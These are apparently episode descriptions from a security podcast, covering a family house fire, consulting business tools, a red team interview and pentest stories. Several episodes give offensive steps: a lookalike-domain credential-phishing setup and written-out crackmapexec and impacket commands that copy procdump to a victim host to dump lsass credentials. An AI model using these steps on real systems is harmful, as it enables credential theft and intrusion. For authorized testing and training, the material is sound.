In today's episode I talk about how my family's house and two vehicles were recently destroyed in a fire. The Johnson family is all ok - no injuries, thank God. However, this has turned our world upside down, and over the past week of sleepless nights I've thought a lot about how this tragedy could help others ensure their families are safe and secure both during and after a disaster. I imagine this series will go something like this: Today: Talk about "day zero" - everything that happened on the day of the fire Part 2: Talk about what it's like working with insurance, 3rd party vendors, getting rental cars, finding temporary housing, and basically getting "back on the grid" starting with NO identification or credit cards Part 3: Talk about the people part of all this. What are the effects on the family? On the community? On our health? On our faith? Some folks in the security community were kind enough to setup a GoFundMe if you'd like to support my family during this time.

Today's episode features a few important changes to the tools and services I use to run 7MS: Docusign is out and (sort of) replaced with Proposify Voltage SecureMail is out and replaced by ShareFile Ninite is rad for keeping mobile pentest dropboxes automatically updated! Nessys_SortyMcSortleton has been updated to...you know...work Additionally, we talk about a few biz-specific challenges: How do you (comfortably) talk about money with a client before the SOW hits their inbox? If you're a small security consultancy of 2-5 people, do you lie about your company size to impress the big client, or tell the truth and brag about the advantages a nimble team can bring?

I'm sorry it took me forever and a day to get this episode up, but I'm thrilled to share part 4 (the final chapter - for now anyways) of my interview with the red team guys, Ryan and Dave! In today's episode we talk about: Running into angry system admins (that are either too fired up or not fired up enough) Being wrong without being ashamed When is it necessary to make too much noice to get caught during an engagement? What are the top 5 tools you run on every engagement? How do you deal with monthly test reports indefinitely being a copy/paste of the previous month's report? How do you deal with clients who scope things in such as way that the test is almost impossible to conduct? How do you deal with colleagues who take findings as their own when they talk with management? How do you work with clients who don't know why they want a test - except to check some sort of compliance checkmark? What is a typical average time to complete a pentest on a vendor (as part of a third-party vendor assessment)? How could a fresh grad get into a red team job? What do recruiters look for candidates seeking red team positions? If a red team is able to dump a whole database of hashes or bundle of local machine hashes, should they crack them? What do you do when you're contracted for a pentest, but on day one your realize the org is not at all ready for one? What's your favorite red team horror story?

In this episode I talk about some things I learned about making your own kick-butt cred-capturing phishing campaign and how to do so on the (relatively) quick and (relatively) cheap! These tips include: Consider this list of top 9 phishing simulators. Check out GoPhish! Then spin up a free tier Kali AWS box Follow the instructions to install GoPhish and get it running on your AWS box Use the Expired Domains site to buy up a domain that is similar to your victim - maybe just one character off - but has been around a while and has a good reputation Add a G Suite or O365 email account (or whatever email service you prefer) to the new domain Create a convincing cred-capturing portal on GoPhish - I used some absolutely disguisting and embarassing HTML like this (see show notes on 7ms.us): Use this awesome article to secure your fancy landing page with a LetsEncrypt cert! Have fun!!!

This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..." Relayed one high-priv cred from one box to another Dumped and cracked a local machine's hash Passed that hash around the network Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from Set the wdigest flag via CrackMapExec Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it: mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe: crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)

Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. Today's episode is about a pentest that was pretty unique for me. I got to ride shotgun and kind of be in the shadows while helping another team pwn a network. This was an especially interesting one because the client had a lot of great security defenses in place, including: Strong user passwords A SIEM solution that appeared to be doing a great job We did some looking for pwnage opportunities such as: Systems missing EternalBlue patch Systems missing BlueKeep patch What got us a foot in the door was the lack of SMB signing. Check this gist to see how you can use RunFinger.py to find hosts without SMB signing, then use Impacket and Responder to listen for - and pass - high-priv hashes. Side note: I'm working on getting a practical pentesting gist together in the vein of Penetration Testing: A Hands-On Introduction to Hacking and Hacker Playbook.
